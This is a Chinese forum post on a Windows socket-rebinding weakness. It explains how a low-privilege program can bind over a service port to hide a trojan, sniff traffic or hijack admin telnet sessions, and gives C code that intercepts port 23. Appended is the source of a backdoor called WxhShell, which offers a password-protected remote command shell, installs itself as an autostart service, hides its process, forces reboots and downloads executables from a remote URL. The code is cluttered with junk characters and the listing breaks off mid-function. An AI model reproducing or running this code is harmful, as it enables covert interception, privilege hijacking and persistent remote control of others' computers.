社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13922阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qj',&b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @vkO(o  
+OX:T) 4h6  
  saddr.sin_family = AF_INET;  ,7w[r<7  
J^<}fRw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {Z{!tR?+  
~jn~M_}K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4ROuy+Ms'  
;*409 P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8k -l`O~  
2<8JY4]!]  
  这意味着什么?意味着可以进行如下的攻击: ' lMPI@C6r  
s^ R i g[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +*ZF52hy|  
A&/ YnJ"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u:s[6T0  
ya0D5 0m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jxNnrIA  
Avn)%9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <vUhJgN2/  
z~O:w'(g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hV7]/z!d  
AvEd?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W]= $0'  
Y>2kOE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yl0_?.1 z  
! 4{T<s;q  
  #include "$rmy>d  
  #include <WRrB `nO  
  #include f{eMh47 NC  
  #include    U *']7-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k86j& .m_  
  int main() pLea 4  
  { wwD?i.3  
  WORD wVersionRequested; P\2UIAPa\b  
  DWORD ret; LyWgaf#/d  
  WSADATA wsaData; 2qxede  
  BOOL val; {m7>9{`  
  SOCKADDR_IN saddr; ;@l5kdZx`  
  SOCKADDR_IN scaddr; @eU5b63jM  
  int err; nN$aZSb`  
  SOCKET s; - TU^*  
  SOCKET sc; urA kV#d#  
  int caddsize; i"J`$u  
  HANDLE mt; TG@ W:>N(  
  DWORD tid;   UUaC@Rs2  
  wVersionRequested = MAKEWORD( 2, 2 ); ud,=O X q  
  err = WSAStartup( wVersionRequested, &wsaData ); "-a CF  
  if ( err != 0 ) { C)xM>M_CB  
  printf("error!WSAStartup failed!\n"); [/IN820t  
  return -1; z}&JapJ  
  } MclW!CmJ  
  saddr.sin_family = AF_INET; $PE{}`#g  
   5svM3  #  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pZaOd;t  
nb,+!)+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %AnqT|\#,  
  saddr.sin_port = htons(23); :#&Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }{( J *T  
  { +JrbC/&  
  printf("error!socket failed!\n"); (n0h#%  
  return -1; ;;? Zd  
  } .*W_;Fo  
  val = TRUE; /Dk`vn2eN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1<TB{}b Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =!{ E!3>*D  
  { Qq*Ks 5   
  printf("error!setsockopt failed!\n"); 9E-]S'Z  
  return -1; \1R<GBC4  
  } QkU6eE<M*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (D1$&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t0-)\kXcA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k;c>=B)e  
"{"745H5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %e|.a)78  
  { )$oboAv#  
  ret=GetLastError(); a15kFun  
  printf("error!bind failed!\n"); ,J)wn;@  
  return -1; . \:{6_  
  } B(B77SOb  
  listen(s,2); t],5{UF  
  while(1) Z/~7N9?m(  
  { cH>3|B*y  
  caddsize = sizeof(scaddr); yON";|*\m  
  //接受连接请求 T>qI,BEY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +o[- ED  
  if(sc!=INVALID_SOCKET) B9i< ="=p  
  { ,ctm;T1H+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |E5\_Z  
  if(mt==NULL) !aQQq[  
  { j'M=+  
  printf("Thread Creat Failed!\n"); (>a8h~Na  
  break; ywj'S7~A  
  } \mGo k<b4  
  } 5,Hj$v7fe  
  CloseHandle(mt); >IFqwh7b  
  } 3:~ *cU  
  closesocket(s); %=EN 3>,  
  WSACleanup(); m(o^9R_=^9  
  return 0; "nQ&~KQ  
  }   lz >>{  
  DWORD WINAPI ClientThread(LPVOID lpParam) )E>nr Z  
  { <yxy ;o  
  SOCKET ss = (SOCKET)lpParam; K 0Gm ?(  
  SOCKET sc; a7Yz X5n  
  unsigned char buf[4096]; {$fd?| 9h  
  SOCKADDR_IN saddr; l`k""f69W  
  long num; (N 0kTi]b  
  DWORD val; gof'NT\c  
  DWORD ret; 7x5wT ?2W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JNk6:j&Pf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yHNx,ra   
  saddr.sin_family = AF_INET; )g ; !IL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7wB*@a-  
  saddr.sin_port = htons(23); H{CiN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aRE%(-5  
  { Gw1Rp  
  printf("error!socket failed!\n"); N&jHU+{OU  
  return -1; :Cdqj0O3u  
  }  J*FUJT  
  val = 100; S<nf"oy_K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UZJ<|[  
  { wpI_yp  
  ret = GetLastError(); D8*t zu-  
  return -1; Y6w7sr_R  
  } Wv7hY"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }{y(&Oy3Y  
  { 7*I:cga  
  ret = GetLastError(); 2.PZtl  
  return -1; OLs<]0H  
  } K);)$8K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =%Z5"];  
  { A\:u5(  
  printf("error!socket connect failed!\n"); c%x9.s<+1  
  closesocket(sc); x*7Q  
  closesocket(ss); `%ulorS  
  return -1; 7I4<Dj  
  } ##r9/`A  
  while(1) (mOL<h[)IP  
  { tB)nQw7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xdl7'~k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y)*W!]:7^>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u0{R;)  
  num = recv(ss,buf,4096,0); z`esst\aV  
  if(num>0)  e gdbv  
  send(sc,buf,num,0); *VV#o/Q p  
  else if(num==0) ;6AanwR6  
  break; \S]` { kY,  
  num = recv(sc,buf,4096,0); YU,fx<c  
  if(num>0) Da-U@e!  
  send(ss,buf,num,0); V ah&)&n  
  else if(num==0) R8bKE(*rxj  
  break; 0i3Z7l]  
  } Gr8%%]1!0  
  closesocket(ss); ,`,1s 9\&t  
  closesocket(sc); ^{ {0ajI9C  
  return 0 ; U ljWBd  
  } =lZtI6tZ  
x +]ek  
Y5z5LG4  
========================================================== |A,<m#C  
%n@ ^$&,&;  
下边附上一个代码,,WXhSHELL A~M.v0  
x^~@`]TV^  
========================================================== F!7\Za,  
?A]/ M~3B  
#include "stdafx.h" tV"Jh>Z  
?XllPnuKt%  
#include <stdio.h> *)D$w_06S  
#include <string.h> 2|\WaH9P  
#include <windows.h> FxdWJ|rN9D  
#include <winsock2.h> /1h ${mo~  
#include <winsvc.h> ^ /ZNdwx  
#include <urlmon.h> f)1*%zg%  
VOGx  
#pragma comment (lib, "Ws2_32.lib") vw w>]Z}  
#pragma comment (lib, "urlmon.lib") ?<efKs  
-Dy":/Bk  
#define MAX_USER   100 // 最大客户端连接数  WJTc/  
#define BUF_SOCK   200 // sock buffer BT^HlW<  
#define KEY_BUFF   255 // 输入 buffer r)|6H"n#]S  
8e"MP\0V  
#define REBOOT     0   // 重启 6Wk9"?+1  
#define SHUTDOWN   1   // 关机 w JF(&P  
XIBm8IkF  
#define DEF_PORT   5000 // 监听端口 g#lMT%  
aJLc&o 8Yg  
#define REG_LEN     16   // 注册表键长度 h!J|4Q a  
#define SVC_LEN     80   // NT服务名长度 Ejt?B')aB5  
A_g\Fa[jG  
// 从dll定义API K^e4w`F|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~FnuO!C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IC:>60A,]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uNf97*~_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V='A;gs  
#`@5`;U>#  
// wxhshell配置信息 45Lzq6  
struct WSCFG { oq9gFJG(  
  int ws_port;         // 监听端口 FBeo@  
  char ws_passstr[REG_LEN]; // 口令 Nnq r{ub  
  int ws_autoins;       // 安装标记, 1=yes 0=no )(+q~KA}  
  char ws_regname[REG_LEN]; // 注册表键名 _sAcvKH  
  char ws_svcname[REG_LEN]; // 服务名 sL], @z8<k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {RN-rF3w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hMyN$7Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :"'*1S*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VQ;'SY:`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !>\g[C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KGrYF  
^VsE2CX  
}; WDJ rN  
4}-G<7*  
// default Wxhshell configuration m:Fdgu9  
struct WSCFG wscfg={DEF_PORT, x}~Z[bx  
    "xuhuanlingzhe", :Z.P0=  
    1, L| ]fc9W:  
    "Wxhshell", 2"EaF^?\  
    "Wxhshell", -ND1+`yD  
            "WxhShell Service", !@>q^_Gez  
    "Wrsky Windows CmdShell Service", + zf`_1+)U  
    "Please Input Your Password: ", %gu|  
  1, C:.>*;?7  
  "http://www.wrsky.com/wxhshell.exe", 4mvnFY}   
  "Wxhshell.exe" #<d'=R[ AK  
    }; ]JQ}9"p=5  
v >cPr(  
// 消息定义模块 L),r\#Y(v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4+:'$Nw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1L%$\0B4hm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :cKdl[E4z  
char *msg_ws_ext="\n\rExit."; { g4`>^;  
char *msg_ws_end="\n\rQuit."; 9B/iQCFtj$  
char *msg_ws_boot="\n\rReboot..."; q;.LK8M  
char *msg_ws_poff="\n\rShutdown..."; 45H9pY w  
char *msg_ws_down="\n\rSave to "; JC# 5CCz  
=w7+Yt  
char *msg_ws_err="\n\rErr!"; lE$(*1H  
char *msg_ws_ok="\n\rOK!"; [I gqK5@  
wW7#M  
char ExeFile[MAX_PATH]; hjz`0AS  
int nUser = 0; p\Fxt1Y@X  
HANDLE handles[MAX_USER]; [e o=  
int OsIsNt; UAGh2?q2  
&q +l5L"  
SERVICE_STATUS       serviceStatus; C=t9P#g*.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O*yA50Cn  
C(vQR~_  
// 函数声明 Ro=dgQ0:t  
int Install(void); %$N,6}n  
int Uninstall(void); ?3gf)g=  
int DownloadFile(char *sURL, SOCKET wsh); \46*4?pP  
int Boot(int flag); cNMDI  
void HideProc(void); u7  
int GetOsVer(void); :Sn4Pg `Q  
int Wxhshell(SOCKET wsl); Q]<6voyy  
void TalkWithClient(void *cs); @U:PXCvh  
int CmdShell(SOCKET sock);  |CAMdU  
int StartFromService(void); vXg^K}a#  
int StartWxhshell(LPSTR lpCmdLine); _<'?s>(U'  
X|C=Q   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +v/-qyA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R&Ss ET.  
<{i1/"k?X  
// 数据结构和表定义 thz[h5C?C  
SERVICE_TABLE_ENTRY DispatchTable[] = m#<Jr:-  
{ O*%5P5'p"{  
{wscfg.ws_svcname, NTServiceMain}, izu_1X  
{NULL, NULL} e/x6{~ju^N  
}; T.W^L'L `  
lUdk^7:M  
// 自我安装 tT+W>oA/M  
int Install(void) F<b/)<Bm=  
{ VO~%O.>  
  char svExeFile[MAX_PATH]; *y', eB  
  HKEY key; }*S`1IWMj  
  strcpy(svExeFile,ExeFile); S~)_=4Z  
j /@<=  
// 如果是win9x系统,修改注册表设为自启动 tJ .Ln  
if(!OsIsNt) { Z29LtKr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jhJ<JDJ?`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '(-H#D.oy'  
  RegCloseKey(key); ez~u A4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a:;7'w'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Z,@yJ2wl  
  RegCloseKey(key); dptfIBYc+  
  return 0; (\nEU! Y  
    } OI kjO}/7  
  } K"ly\$F  
} 3p]\l ]=  
else { /qFY $vj  
p)VMYu  
// 如果是NT以上系统,安装为系统服务 E{}J-_oS45  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Jw=5 ImG  
if (schSCManager!=0) r;p@T8k  
{ o#WECs>  
  SC_HANDLE schService = CreateService (M<l}pl)  
  ( gf}*}8D  
  schSCManager, ^^< C9  
  wscfg.ws_svcname, yYrFk^  
  wscfg.ws_svcdisp, Y#+Ws0wN  
  SERVICE_ALL_ACCESS, uN1VkmtDO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y}?PyPz  
  SERVICE_AUTO_START,  ^Vf@J  
  SERVICE_ERROR_NORMAL, a^_W}gzzd  
  svExeFile, wc-v]$DW  
  NULL, Yj'"Wg  
  NULL, (EjlnG}5l  
  NULL, -2'+GO7G  
  NULL, CR;E*I${  
  NULL ^XG$?2<U  
  ); E!uQ>'iq.  
  if (schService!=0) D&i, `j  
  { ) I(9qt>Y  
  CloseServiceHandle(schService); XA;f.u  
  CloseServiceHandle(schSCManager); HU$]o N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F'CJN$6Mw/  
  strcat(svExeFile,wscfg.ws_svcname); uG/'9C6Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &[SFl{fx>-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AMASh*  
  RegCloseKey(key); gk;hpO  
  return 0; o ZQ@Yu3  
    } f>e0 l'\  
  } /qMiv7m~Q  
  CloseServiceHandle(schSCManager); `jyyRwSoe  
} 6:AEg  
} Af r*'  
O*Y?: t  
return 1; cc>b#&s  
} CIf@G>e-  
7{7Y[F0  
// 自我卸载 9EY`j,{4  
int Uninstall(void) 3177R>0  
{ j-VwY/X  
  HKEY key; apt$e$g  
:X:s'I4J D  
if(!OsIsNt) { K;w2qc.+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @/:7G.  
  RegDeleteValue(key,wscfg.ws_regname); /t! 5||G  
  RegCloseKey(key); /^v!B`A @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { unKl5A[h  
  RegDeleteValue(key,wscfg.ws_regname); !\'H{,G  
  RegCloseKey(key); %3AE2"  
  return 0; pvb&vtp  
  } 1.PN_9%  
} ?\(qA+iP0  
} 0*+EYnu+  
else { ,k*%=TF7N  
k_uI&,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *$`N5;7'`  
if (schSCManager!=0) &#KN"uPW  
{ \)6bLB!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9%53 _nx?  
  if (schService!=0) s= 5 k7  
  { q+2A>:|  
  if(DeleteService(schService)!=0) { fE_%,DJE(  
  CloseServiceHandle(schService); `& '{R<cL  
  CloseServiceHandle(schSCManager); #9 Fk&Lx  
  return 0; m)  rVzL  
  } wwQ2\2w>Hm  
  CloseServiceHandle(schService); NHe)$%a=H  
  } 7U?#Xi5  
  CloseServiceHandle(schSCManager); cB36w$n8  
} "K$c9Z8  
} &[ ],rT  
X6_ RlV]Sk  
return 1; uA;#*eiA/  
} '[HQ}Wvn  
VW*?(,#j{  
// 从指定url下载文件 A?$-Uqb"  
int DownloadFile(char *sURL, SOCKET wsh) kjB'W zZ8  
{ Qe-Pg^PS]  
  HRESULT hr; ^fH)E"qq5  
char seps[]= "/"; d{t@+}0.u  
char *token; pzoh9}bue  
char *file; ]9)iBvQlj  
char myURL[MAX_PATH]; 'Bxj(LaV-  
char myFILE[MAX_PATH]; 0 f$96sl  
G 9 (*F  
strcpy(myURL,sURL); JtsXMZz  
  token=strtok(myURL,seps); l'@!'  
  while(token!=NULL) >)G[ww[  
  { Yl lZ5<}  
    file=token; MkjB4:"  
  token=strtok(NULL,seps); "'@D\e}  
  } <SQR";  
 "\T-r2  
GetCurrentDirectory(MAX_PATH,myFILE); RgJbM\`} ?  
strcat(myFILE, "\\"); q5JQx**g  
strcat(myFILE, file); fA]sPh4Uag  
  send(wsh,myFILE,strlen(myFILE),0); 023uAaI^3r  
send(wsh,"...",3,0); Bha("kG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9v;HE{>  
  if(hr==S_OK) L N.:>,  
return 0; GQk/ G0*&  
else e$WAf`*  
return 1; 6({)O1Z  
Nnr[@^M5  
} "Nb2[R  
BfCnyL%  
// 系统电源模块 6 C O5:\  
int Boot(int flag) Q4L=]qc T  
{ B$YoglEW:  
  HANDLE hToken; -mGG:#yP  
  TOKEN_PRIVILEGES tkp; 0l& '`  
9<toDg_  
  if(OsIsNt) { <DPRQhNW]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <66%(J>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TC44*BHq  
    tkp.PrivilegeCount = 1; B!;:,(S~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r_T"b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r@]`#PL  
if(flag==REBOOT) { 5Phsh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q }>3NCh  
  return 0; nM:<l}~v{  
} !g6=/9  
else { mMOgx   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XP0;Q;WF}  
  return 0; rQGInzYp  
} i+in?!@G:  
  } !Q_Wbu\U  
  else { G`jvy@  
if(flag==REBOOT) { b_6cK#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7FyE?  
  return 0; GnUD<P=I  
} [KHlApL  
else { QV HI}3~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ='w 2"4  
  return 0; 2Xk;]-T!  
} iAk.pH]a  
} B(vCi^  
Z<^EZX3N  
return 1; [7~AWZU3  
} J$5 G8<d>  
?Js4 \X!uJ  
// win9x进程隐藏模块 MBw;+'93qf  
void HideProc(void) vu.?@k@  
{ V*fv>f:Yv  
VF";p^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L(cKyg[R  
  if ( hKernel != NULL ) RSbq<f>BFo  
  { |<,0*2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ti6X=@ P:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Eh]Zv1 AE  
    FreeLibrary(hKernel); 9QB,%K_:4  
  } "*j8G8  
hY%} x5ntU  
return; @mxaZ5Vv}  
} (!N2,1|  
/SS~IhUX  
// 获取操作系统版本 iu*&Jz)D>  
int GetOsVer(void) =[!(s/+>L  
{ vzbGLap#  
  OSVERSIONINFO winfo; M  |h B[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U{Oo@ztT  
  GetVersionEx(&winfo); YEaT_zWG0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 60$;Q,]o  
  return 1; _h  \L6.  
  else [kqtkgK$j2  
  return 0; [q3zs_nz  
} <;W-!R759  
DCZG'eb  
// 客户端句柄模块 Y/I)ECm  
int Wxhshell(SOCKET wsl) m%[/w wL  
{ kSc~gJrne  
  SOCKET wsh; x3`JC&hF,q  
  struct sockaddr_in client; WjK[% ;Z!  
  DWORD myID; ok:L]8UN 3  
z,E`+a;  
  while(nUser<MAX_USER) 3)#Nc|  
{ #}@8(>T  
  int nSize=sizeof(client); Ee7+ob  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %`T}%B  
  if(wsh==INVALID_SOCKET) return 1; chUYLX}45  
Br}@Vvq@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ENr#3+m$;  
if(handles[nUser]==0) #\}FQl6  
  closesocket(wsh); Ug546Bz  
else PH:5  
  nUser++; #X %!7tU6  
  } pU !:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t$Ff $(  
hLuv  
  return 0; v{ohrpb0v  
} +a|Q)Ob  
|94o P>d  
// 关闭 socket  ^,ISz-4  
void CloseIt(SOCKET wsh) D84&=EpVZ  
{ Q4LPi;{\  
closesocket(wsh); ;zo|. YD  
nUser--; Sa9VwVUE  
ExitThread(0); MI(#~\Y~P  
} *P7/ry^<F  
j\bp# +  
// 客户端请求句柄 $H)!h^7^9  
void TalkWithClient(void *cs) )$i,e`T   
{ b-#{O=B  
N*$GP3]  
  SOCKET wsh=(SOCKET)cs; .uS`RS8JM  
  char pwd[SVC_LEN]; ! M CV@5$  
  char cmd[KEY_BUFF]; uo2k  
char chr[1]; :*|Ua%L_  
int i,j; n YUFRV$  
(.@peHu)#  
  while (nUser < MAX_USER) { =M*pym]QSY  
-2[4 @  
if(wscfg.ws_passstr) { BgT ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S#8)N`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D QxuV1  
  //ZeroMemory(pwd,KEY_BUFF); - QY<o|  
      i=0; W]7<PL*u  
  while(i<SVC_LEN) { i\/'w]  
1_f+! ns#  
  // 设置超时 Udtz zka  
  fd_set FdRead; k,=<G ,  
  struct timeval TimeOut; ]N'% l]_$  
  FD_ZERO(&FdRead); m3pDFI  
  FD_SET(wsh,&FdRead); W3>9GY90R  
  TimeOut.tv_sec=8; V-go?b`  
  TimeOut.tv_usec=0; xl,% Z~[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |X A0F\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fvH{ va.  
R59iuHQ[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fw,,cu`YA  
  pwd=chr[0]; m{RXt  
  if(chr[0]==0xd || chr[0]==0xa) { %} zkmEY.e  
  pwd=0; 4D<C;>*/b  
  break; inO;Uwlv  
  } u1y>7,Z6W  
  i++; 8/tB?j  
    } *aM7d>nG5  
j_}:=3  
  // 如果是非法用户,关闭 socket 0%L:jq{5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @M<qz\ [  
} =6:9y}~  
y6d!?M(0U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YzG?K0O%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2[pOGc$  
2>k*9kyp  
while(1) { e_|<tYx><  
98 5h]KQ  
  ZeroMemory(cmd,KEY_BUFF); v.C  
"PRHQW  
      // 自动支持客户端 telnet标准   8M,o)oH  
  j=0; <2 [vR|Q*  
  while(j<KEY_BUFF) { obF|;fwPnR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 71AYDO  
  cmd[j]=chr[0]; M_%KhK  
  if(chr[0]==0xa || chr[0]==0xd) { uk$MQ v*D  
  cmd[j]=0; H3R{+7  
  break; 59j`Z^e  
  } `Rt w'Uz  
  j++; ><"|>(y  
    } D- C]0Jf3  
Km= Y^x0  
  // 下载文件 )b]wpEFl  
  if(strstr(cmd,"http://")) { =,N"% }  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ekq(  
  if(DownloadFile(cmd,wsh)) sBI/`dGZV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qQDe'f~  
  else 965x _ %  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Q@y8*E\F  
  } ?32~%?m  
  else { Myg;2.  
g7hI9(8+  
    switch(cmd[0]) { d{NMG)`x\  
  S WTZ6(!oW  
  // 帮助 &XcPHZy'  
  case '?': { z)^.ai,:0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j~ds)dW%`&  
    break; GEVDXx>@  
  } l\AdL$$Mb  
  // 安装 r`Fs"n#^-4  
  case 'i': { z;9D[ME#1  
    if(Install()) o*7NyiJ@z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6U8esPs,  
    else sj/k';#g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k -R"e  
    break;  C&qo$C  
    } 1U/9=b  
  // 卸载 ju[y-am$/  
  case 'r': { "wZvr}xk  
    if(Uninstall()) 4FYV]p8f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [c1Gq)ht  
    else )O+Zbn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R8lja%+0$  
    break; ?d?.&nt  
    } %$o[,13=  
  // 显示 wxhshell 所在路径 = )3\B  
  case 'p': { #U%HG TE0  
    char svExeFile[MAX_PATH]; Wm"#"l4  
    strcpy(svExeFile,"\n\r"); zJ}abo6rVw  
      strcat(svExeFile,ExeFile); k.54lNl  
        send(wsh,svExeFile,strlen(svExeFile),0); nPI$<yW7F  
    break; LD?\gK "  
    } 7\g#'#K  
  // 重启 19O    
  case 'b': { -U$;\1--  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hTEb?1CXU  
    if(Boot(REBOOT)) [6g$;SicT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Lk<5Ho  
    else { Dl0{pGK~  
